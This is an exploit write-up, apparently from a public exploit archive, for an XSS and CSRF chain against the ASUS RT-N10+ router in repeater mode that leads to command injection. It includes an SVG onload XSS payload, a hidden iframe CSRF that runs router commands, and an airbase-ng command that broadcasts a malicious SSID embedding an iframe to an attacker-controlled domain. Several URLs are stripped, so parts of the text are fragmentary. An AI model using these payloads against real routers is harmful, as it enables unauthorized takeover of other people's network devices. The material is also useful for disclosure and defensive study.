ASUS RT-N10+ CSRF / XSS / Command Execution

ASUS RT-N10+ with firmware version suffers from cross site request forgery and cross site scripting vulnerabilities that can assist with achieving command execution.

MD5 | 413b65790cd54119cea3da7c110a4c83

# Exploit Title: XSS And CSRF to RCE in ASUS RT-N10 Repeater Mode
# Date: 13/10/2019
# Exploit Author: Matheus Vrech
# Vendor Homepage:
# Version: ASUS RT-N10+, Firmware:
# Tested on: Archlinux, Windows 10

# XSS:
# when someone change router to repeater mode you should be able to trigger javascript code:
# just create an AP with the payload ad wait the person to look for the available routers to repeat
vulnerable page:
payload: <svg/onload="alert('xss')">

# it's possible to inject commands into the router by just triggering a authenticated user to acess the following url:
# change COMMAND to yout command
vulnerable url:"

# With both of them it's possible to execute command abusing the repeater mode XSS

# create the page:

<iframe style="display: none" src=" /tmp/pwned&action=Refresh"></iframe>

# start your AP:
airbase-ng -e "<iframe src="//your.domain">" -c 8 -v wlp2s0mon

Related Posts